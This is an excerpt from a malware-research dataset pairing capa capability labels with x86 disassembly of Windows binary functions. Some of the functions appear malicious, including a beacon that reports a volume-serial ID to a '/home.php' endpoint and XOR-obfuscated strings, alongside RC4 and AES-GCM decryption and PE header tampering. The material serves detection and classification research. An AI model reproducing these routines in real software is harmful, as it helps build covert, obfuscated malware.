joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001a140
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
neg eax
sbb esi, esi
neg esi
add esi, 0x80000001
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x102
push 0
push str.softwaremicrosoft
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop esi
test eax, eax
jne 0x1001a1aa
mov edx, dword [ebp - 4]
push 4
lea ecx, [ebp - 8]
push ecx
push 4
push eax
push 0x1005a5ec
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x1001a1b0
Capabilities:
Create thread
Delete file
Get common file path
Get disk information
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push 0x104
lea eax, [ebp - 0x314]
push eax
push str.SystemDrive
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea ecx, [ebp - 0x314]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 4]
push edx
push 0
push 0
lea eax, [ebp - 0x314]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [ebp - 4]
test ecx, ecx
jne 0x1001a206
mov ecx, 0xff00ff
mov eax, 0xc000c001
mul ecx
shr edx, 0xe
imul edx, edx, 0x5555
mov eax, 0x2710
sub eax, edx
add ecx, eax
mov dword [ebp - 4], ecx
call fcn.1001a060
test eax, eax
jne 0x1001a341
mov ecx, dword [ebp - 4]
push esi
push edi
push eax
push eax
push ecx
push 0x10019e40
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1001a26d
lea edx, [ebp - 8]
push edx
push esi
mov dword [ebp - 8], 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1001a26d
test byte [ebp - 8], 2
jne 0x1001a26d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x418]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea ecx, [ebp - 0x10c]
push ecx
push 0
push 0
lea edx, [ebp - 0x418]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov eax, dword [ebp - 4]
push eax
push str._53_59_53_54_45_4D_21_4A
push str.name_sport_u
lea ecx, [ebp - 0x210]
push 0x104
push ecx
call dword [sym.imp.MSVCRT.dll__snprintf]
lea eax, [ebp - 0x210]
add esp, 0x14
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1001a2c3
sub eax, edx
mov esi, eax
call fcn.10014a30
push 0
push 1
push esi
lea edx, [ebp - 0x210]
push edx
mov edi, eax
push 1
lea eax, [ebp - 0x10c]
push eax
push str._home.php
push 0
mov eax, edi
call fcn.10014ab0
test eax, eax
jne 0x1001a31e
push eax
push 1
push esi
lea ecx, [ebp - 0x210]
push ecx
push 1
lea edx, [ebp - 0x10c]
push edx
push str._home.php
push 1
mov eax, edi
call fcn.10014ab0
push 0
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.1001a140
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10025390
Capabilities:
Access pe header

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 4], 0
test eax, eax
je 0x1002544b
push esi
push 0
lea ecx, [ebp - 4]
push ecx
call fcn.100074a0
mov esi, eax
test esi, esi
je 0x1002544a
push edi
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
mov edi, eax
test edi, edi
je 0x10025427
rdtsc
xor dword [0x1004e210], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor dword [0x1004e210], eax
push 0x1004627c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x10025404
push str.RtlUniform
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10025404
push 0x1004e210
call eax
mov ecx, dword [0x1004e210]
push ebx
xor edx, edx
mov eax, ecx
or ebx, 0xffffffff
div ebx
add eax, ecx
mov dword [edi + 0x58], eax
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
push edx
push esi
call fcn.10007350
pop ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x10025449
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
mov esp, ebp
pop ebp
ret 4

Function at 0x10025680
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
push ebx
push esi
push edi
mov edi, eax
xor eax, eax
push 0x220
push eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_memset
mov ebx, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
jne 0x10025718
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x18
jne 0x1002577b
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push edi
push 8
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x1002577b
mov edi, dword [ebp - 4]
mov dword [ebp - 4], 0
test esi, esi
je 0x1002570f
lea ecx, [ebp - 4]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
test eax, eax
je 0x1002570f
test byte [ebp - 4], 2
jne 0x1002570f
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x228]
push ecx
push esi
mov dword [ebp - 0x228], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
je 0x100256e5
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov ebx, dword [sym.imp.KERNEL32.dll_Module32Next]
push str.kernel
lea edx, [ebp - 0x208]
push edx
call edi
test eax, eax
je 0x1002575e
push str..dll
push eax
call edi
test eax, eax
jne 0x10025771
lea eax, [ebp - 0x228]
push eax
push esi
call ebx
test eax, eax
jne 0x10025740
jmp 0x100256e5
mov edi, 1
jmp 0x100256e8
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40caa8
Capabilities:
Encrypt or decrypt data via bcrypt

Disassembly:
mov eax, 0x4686bf
call fcn.00468300
sub esp, 0x94
push ebx
xor ebx, ebx
push esi
mov dword [ebp - 4], ebx
mov esi, ecx
push edi
mov dword [ebp - 0x34], ebx
mov edi, edx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], 0xf
mov byte [ebp - 0x34], bl
mov byte [ebp - 4], 1
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x10], 0x20
jne 0x40cc4f
cmp dword [eax + 0x14], 0x10
jb 0x40caf3
mov eax, dword [eax]
push 0x20
push eax
lea eax, [ebp - 0xa0]
push eax
call fcn.00441af0
add esp, 0xc
mov dword [ebp + 0xc], ebx
lea eax, [ebp + 0xc]
mov dword [ebp - 0x14], ebx
push ebx
push ebx
push 0x479df4
push eax
call dword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
test eax, eax
js 0x40cc28
push ebx
push 0x20
push str.ChainingModeGCM
push str.ChainingMode
push dword [ebp + 0xc]
call dword [sym.imp.bcrypt.dll_BCryptSetProperty]
test eax, eax
js 0x40cc4f
push ebx
push 0x20
lea eax, [ebp - 0xa0]
push eax
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.bcrypt.dll_BCryptGenerateSymmetricKey]
test eax, eax
js 0x40cc4f
push 0x40
lea eax, [ebp - 0x80]
push ebx
push eax
call fcn.00442300
mov ecx, dword [ebp + 8]
lea eax, [edi + 3]
add esp, 0xc
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x7c], 1
mov dword [ebp - 0x74], 0xc
lea eax, [ecx - 0x10]
mov dword [ebp - 0x64], 0x10
push 0x40
add eax, edi
pop edx
mov dword [ebp - 0x68], eax
lea eax, [ecx - 0x1f]
push eax
push edx
mov dword [ebp - 0x80], edx
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x40cc06
push ebx
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x18]
lea eax, [ebp - 0x80]
push edi
push ebx
push ebx
push eax
push dword [ebp - 0x18]
mov eax, dword [ebp - 0x74]
add eax, dword [ebp - 0x78]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
js 0x40cc4f
push dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
push edi
call fcn.00413313
lea eax, [ebp - 0x34]
mov dword [esi], ebx
push eax
mov ecx, esi
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
call fcn.00413f58
lea ecx, [ebp - 0x34]
call fcn.00413e0b
mov eax, esi
jmp 0x40cc9a
lea ecx, [ebp - 0x34]
call fcn.00413e0b
or dword [ebp - 4], 0xffffffff
mov ecx, esi
push 0x487bb0
mov dword [esi], ebx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
call fcn.00413ee6
jmp 0x40cbff
cmp dword [ebp + 0xc], 0
je 0x40cc39
push ebx
lea eax, [ebp + 0xc]
push eax
call dword [sym.imp.bcrypt.dll_BCryptCloseAlgorithmProvider]
cmp dword [ebp - 0x14], 0
je 0x40cc49
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.bcrypt.dll_BCryptDestroyKey]
mov dword [ebp - 0x14], ebx
mov dword [ebp + 0xc], ebx
mov dword [esi], ebx
mov ecx, esi
mov dword [esi + 0x10], ebx
push 0x487bb0
mov dword [esi + 0x14], ebx
call fcn.00413ee6
jmp 0x40cbf7
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x411e9d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
mov ebx, ecx
push esi
push edi
cmp dword [ebx + 0x38], 0
je 0x411ec4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00412d96
jmp 0x411f79
mov eax, dword [ebx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x14], eax
test eax, eax
je 0x411ee6
mov eax, dword [ebx + 0x30]
mov eax, dword [eax]
jmp 0x411ee8
xor eax, eax
cdq
mov dword [esp + 0xc], eax
mov ecx, edx
mov dword [esp + 0x10], ecx
test edi, edi
jl 0x411f6d
jg 0x411efd
test esi, esi
je 0x411f6d
test ecx, ecx
jl 0x411f50
jg 0x411f07
test eax, eax
je 0x411f50
cmp edi, ecx
jg 0x411f1b
jl 0x411f11
cmp esi, eax
jae 0x411f1b
mov eax, esi
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], edi
push eax
push dword [ebp + 8]
push dword [esp + 0x1c]
call fcn.00441af0
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov eax, dword [ebx + 0x30]
sub esi, ecx
sbb edi, dword [esp + 0x10]
sub dword [eax], ecx
mov eax, dword [ebx + 0x20]
add dword [eax], ecx
mov eax, dword [ebp + 8]
add eax, ecx
test edi, edi
jl 0x411f6d
jg 0x411f53
test esi, esi
je 0x411f6d
jmp 0x411f53
mov eax, dword [ebp + 8]
cmp dword [ebx + 0x4c], 0
je 0x411f6d
push dword [ebx + 0x4c]
push esi
push 1
push eax
call fcn.00445a7d
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x411f82
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push esi
mov esi, ecx
mov dword [ebp - 4], esi
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x411fa6
jl 0x411f9d
test edi, edi
jne 0x411fa6
xor eax, eax
xor edx, edx
jmp 0x412067
cmp dword [esi + 0x38], 0
je 0x411fbb
push eax
push edi
push dword [ebp + 8]
call fcn.00412e5f
jmp 0x412067
mov eax, dword [esi + 0x1c]
push ebx
mov ebx, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x411ffe
mov eax, dword [esi + 0x2c]
cmp dword [eax], 0
jbe 0x411ffe
cmp dword [eax], edi
mov esi, edi
mov ebx, dword [ebp + 8]
cmovb esi, dword [eax]
push esi
push ecx
push ebx
call fcn.00441af0
mov ecx, dword [ebp - 4]
add ebx, esi
mov dword [ebp + 8], ebx
add esp, 0xc
mov ebx, edi
sub ebx, esi
mov eax, dword [ecx + 0x2c]
sub dword [eax], esi
mov eax, dword [ecx + 0x1c]
add dword [eax], esi
mov esi, ecx
jmp 0x412004
mov eax, dword [ebp + 8]
mov dword [ebp + 8], eax
cmp dword [esi + 0x4c], 0
mov ecx, ebx
je 0x41205c
mov ecx, esi
call fcn.00413743
mov edx, dword [ebp + 8]
mov ecx, ebx
jmp 0x41203c
push dword [esi + 0x4c]
push eax
push 1
push edx
call fcn.0044648b
mov edx, dword [ebp + 8]
sub ebx, eax
add edx, eax
add esp, 0x10
mov dword [ebp + 8], edx
mov ecx, ebx
cmp eax, 0xfff
jne 0x41206d
mov eax, 0xfff
cmp ebx, eax
ja 0x41201a
test ecx, ecx
je 0x41205c
push dword [esi + 0x4c]
push ebx
push 1
push edx
call fcn.0044648b
mov ecx, ebx
add esp, 0x10
sub ecx, eax
sub edi, ecx
mov edx, dword [ebp + 0x10]
mov eax, edi
sbb edx, 0
pop ebx
pop edi
pop esi
leave
ret 0xc
sub edi, ebx
jmp 0x41205e
Function at 0x4122ae
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
or edi, 0xffffffff
mov esi, ecx
cmp ebx, edi
jne 0x4122ca
xor eax, eax
jmp 0x412390
mov eax, dword [esi + 0x20]
mov ecx, dword [eax]
test ecx, ecx
je 0x4122f3
mov edx, dword [esi + 0x30]
mov eax, dword [edx]
add eax, ecx
cmp ecx, eax
jae 0x4122f3
dec dword [edx]
mov eax, ebx
mov edx, dword [esi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 1]
mov dword [edx], ecx
mov byte [esi], bl
jmp 0x412390
cmp dword [esi + 0x4c], 0
je 0x41238e
mov ecx, esi
call fcn.00413743
mov ecx, dword [esi + 0x38]
mov al, bl
test ecx, ecx
jne 0x41231f
push dword [esi + 0x4c]
push eax
call fcn.0040b452
test al, al
pop ecx
pop ecx
cmovne edi, ebx
jmp 0x41238e
mov byte [ebp - 4], al
mov eax, dword [ecx]
mov edx, dword [eax + 0x1c]
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 3]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [esi + 0x40]
push eax
call edx
sub eax, 0
je 0x41235d
sub eax, 1
je 0x41235d
dec eax
sub eax, 1
jne 0x41238e
push dword [esi + 0x4c]
push dword [ebp - 4]
jmp 0x412311
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
sub eax, ecx
mov dword [ebp - 8], eax
je 0x412380
push dword [esi + 0x4c]
push eax
mov eax, ecx
push 1
push eax
call fcn.00445a7d
add esp, 0x10
cmp dword [ebp - 8], eax
jne 0x41238e
lea eax, [ebp - 4]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0xc], eax
mov eax, ebx
jne 0x412390
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x413791
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp dword [esi + 0x38], ebx
je 0x4137e0
cmp byte [esi + 0x3d], bl
je 0x4137e0
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x41380f
mov ecx, dword [esi + 0x38]
mov eax, dword [ecx]
mov edx, dword [eax + 0x20]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call edx
sub eax, ebx
je 0x4137e7
sub eax, 1
je 0x4137ea
dec eax
sub eax, 1
jne 0x41380f
mov byte [esi + 0x3d], bl
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
mov byte [esi + 0x3d], bl
mov edi, dword [ebp - 4]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x413807
push dword [esi + 0x4c]
push edi
push 1
push eax
call fcn.00445a7d
add esp, 0x10
cmp edi, eax
jne 0x41380f
cmp byte [esi + 0x3d], bl
sete al
jmp 0x4137e2
xor al, al
jmp 0x4137e2
Function at 0x415ce3
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor edi, edi
mov ebx, ecx
mov eax, edi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x47de90]
movups xmmword [ebx + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x415cf0
mov edx, edi
mov dword [ebp - 4], edi
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
mov esi, dword [ebx + edx*4]
mov eax, edx
cmovae ecx, dword [ebp + 8]
cdq
idiv dword [ebp + 0x20]
movsx eax, byte [edx + ecx]
add eax, esi
add edi, eax
and edi, 0x800000ff
jns 0x415d40
dec edi
or edi, 0xffffff00
inc edi
mov edx, dword [ebp - 4]
mov eax, dword [ebx + edi*4]
mov dword [ebx + edx*4], eax
inc edx
mov dword [ebx + edi*4], esi
mov dword [ebp - 4], edx
cmp edx, 0x100
jl 0x415d14
lea ecx, [ebp + 8]
call fcn.00413e0b
pop edi
pop esi
pop ebx
leave
ret 0x1c

Function at 0x415d67
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, 0x469124
call fcn.00468300
sub esp, 0xc
push ebx
push esi
mov eax, ecx
push edi
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 0x24]
lea edi, [eax + 0x400]
and dword [ebp - 4], 0
mov ecx, edi
push 0x20
push ebx
call fcn.004142c6
xor eax, eax
xor esi, esi
and dword [ebp - 0x10], eax
test ebx, ebx
jle 0x415e1d
inc eax
and eax, 0x800000ff
jns 0x415dad
dec eax
or eax, 0xffffff00
inc eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov edx, dword [ecx + eax*4]
mov eax, dword [ebp - 0x10]
add eax, edx
and eax, 0x800000ff
jns 0x415dc9
dec eax
or eax, 0xffffff00
inc eax
mov ebx, dword [ebp - 0x18]
cmp dword [ebp + 0x20], 0x10
mov dword [ebp - 0x10], eax
mov eax, dword [ecx + eax*4]
mov dword [ecx + ebx*4], eax
mov eax, dword [ebp - 0x10]
mov dword [ecx + eax*4], edx
lea ecx, [ebp + 0xc]
mov eax, dword [ebp - 0x14]
cmovae ecx, dword [ebp + 0xc]
mov eax, dword [eax + ebx*4]
add eax, edx
and eax, 0x800000ff
jns 0x415dfc
dec eax
or eax, 0xffffff00
inc eax
mov edx, dword [ebp - 0x14]
mov ebx, dword [ebp + 0x24]
mov dl, byte [edx + eax*4]
mov eax, edi
xor dl, byte [ecx + esi]
cmp dword [edi + 0x14], 0x10
jb 0x415e12
mov eax, dword [edi]
mov byte [eax + esi], dl
inc esi
mov eax, dword [ebp - 0x18]
cmp esi, ebx
jl 0x415d9e
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov ecx, esi
mov dword [esi], eax
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
call fcn.00413ee6
lea ecx, [ebp + 0xc]
call fcn.00413e0b
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x20
Function at 0x41d3c3
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x41d3ce
xor eax, eax
pop ebp
ret
push esi
mov esi, dword [ebp + 8]
not ecx
cmp esi, 8
jb 0x41d48a
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x47a250]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x47a250]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x47a250]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x47a250]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x47a250]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x47a250]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x47a250]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x47a250]
sub edi, 1
jne 0x41d3e3
pop edi
test esi, esi
je 0x41d4a6
movzx eax, byte [edx]
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x47a250]
inc edx
sub esi, 1
jne 0x41d48e
not ecx
mov eax, ecx
pop esi
pop ebp
ret

Function at 0x41d4ad
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push esi
mov esi, ecx
movsx eax, dl
mov ecx, dword [esi]
xor eax, ecx
movzx eax, al
shr ecx, 8
xor ecx, dword [eax*4 + 0x47a250]
movzx eax, cl
add eax, dword [esi + 4]
imul eax, eax, 0x8088405
mov dword [esi], ecx
mov ecx, dword [esi + 8]
inc eax
mov dword [esi + 4], eax
shr eax, 0x18
xor eax, ecx
shr ecx, 8
movzx eax, al
xor ecx, dword [eax*4 + 0x47a250]
mov dword [esi + 8], ecx
pop esi
ret

Function at 0x41dbd6
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, dword [ebp + 0xc]
mov eax, ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov ecx, ebx
imul ecx, dword [ebp + 8]
cmp byte [edi], 0
je 0x41dc0f
push 0
lea edx, [ebp + 8]
push edx
push ecx
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x41dc0a
mov byte [edi + 8], 1
mov eax, dword [ebp + 8]
jmp 0x41dc39
mov edx, dword [edi + 0x1c]
push esi
mov esi, dword [edi + 0x18]
sub esi, edx
lea eax, [edx + ecx]
cmp eax, dword [edi + 0x18]
cmovbe esi, ecx
mov ecx, dword [edi + 0x14]
push esi
add ecx, edx
push ecx
push dword [ebp - 4]
call fcn.00441af0
add esp, 0xc
mov eax, esi
add dword [edi + 0x1c], esi
pop esi
xor edx, edx
pop edi
div ebx
pop ebx
leave
ret
Function at 0x41edd7
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push esi
mov esi, ecx
push edi
mov edi, edx
test esi, esi
je 0x41edff
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41edff
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov al, byte [edi]
test al, al
je 0x41ee96
push ebx
mov ebx, edi
mov ecx, edi
cmp al, 0x2f
je 0x41ee16
cmp al, 0x5c
jne 0x41ee18
mov ebx, ecx
inc ecx
mov al, byte [ecx]
test al, al
jne 0x41ee0e
cmp ebx, edi
je 0x41ee4b
sub ebx, edi
lea eax, [ebp - 0x208]
push ebx
push edi
push eax
call fcn.00441af0
add esp, 0xc
mov byte [ebp + ebx - 0x208], 0
lea edx, [ebp - 0x208]
mov ecx, esi
call fcn.0041edd7
mov byte [ebp - 0x104], 0
pop ebx
test esi, esi
je 0x41ee66
lea eax, [ebp - 0x104]
push esi
push eax
call fcn.00447ca0
pop ecx
pop ecx
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.00447cb0
pop ecx
pop ecx
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41ee96
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop edi
pop esi
leave
ret
Function at 0x41fa6e
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov eax, 0x469bc0
call fcn.00468300
mov eax, 0x1fec
call fcn.00441680
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], ebx
push edi
mov dword [esi], ebx
mov edi, edx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0xf
push 0x479c6b
mov dword [ebp - 0x18], 0x1fa0
mov byte [esi], bl
call fcn.00413e6c
mov dword [ebp - 4], ebx
mov cl, 0x75
mov dword [ebp - 0x1c], 1
mov edx, ebx
mov dword [ebp - 0x11], 0xf8f8ef75
mov byte [ebp - 0xd], bl
not cl
xor byte [ebp + edx - 0x10], cl
inc edx
cmp edx, 3
jae 0x41fadc
mov cl, byte [ebp - 0x11]
jmp 0x41facb
lea eax, [ebp - 0x10]
mov dword [ebp - 0x48], ebx
push eax
lea ecx, [ebp - 0x48]
mov byte [ebp - 0xd], bl
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], 0xf
mov byte [ebp - 0x48], bl
call fcn.00413e6c
push 0x1fa0
lea eax, [ebp - 0x1ff8]
mov dword [ebp - 4], 1
push ebx
push eax
call fcn.00442300
add esp, 0xc
lea eax, [ebp - 0x18]
push ebx
push ebx
push eax
lea eax, [ebp - 0x1ff8]
push eax
push 1
push edi
call fcn.0044c110
pop ecx
push eax
push edi
call dword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x41fbee
call dword [0x48cc60]
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x41fbe3
mov ecx, dword [0x48cc4c]
push ebx
push 1
push edi
call ecx
add esp, 0xc
test eax, eax
jne 0x41fbce
lea eax, [ebp - 0x1ff8]
mov dword [ebp - 0x2c], ebx
push ebx
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x18]
push ecx
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x50], eax
mov eax, dword [0x48cc48]
push ecx
mov dword [ebp - 0x28], ebx
call eax
add esp, 0xc
test eax, eax
jne 0x41fbce
push dword [ebp - 0x28]
lea eax, [ebp - 0x1ff8]
push dword [ebp - 0x2c]
push eax
call fcn.00441af0
mov eax, dword [ebp - 0x28]
add esp, 0xc
mov byte [ebp + eax - 0x1ff8], bl
test eax, eax
je 0x41fbd9
mov edi, eax
movzx eax, byte [ebp + ebx - 0x1ff8]
mov ecx, esi
push eax
call fcn.00413e31
inc ebx
cmp ebx, edi
jb 0x41fbb4
mov edi, dword [ebp - 0x24]
jmp 0x41fbd9
lea eax, [ebp - 0x48]
mov ecx, esi
push eax
call fcn.004133a2
push edi
call dword [0x48cc50]
pop ecx
jmp 0x41fbee
lea eax, [ebp - 0x48]
mov ecx, esi
push eax
call fcn.004133a2
lea ecx, [ebp - 0x48]
call fcn.00413e0b
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret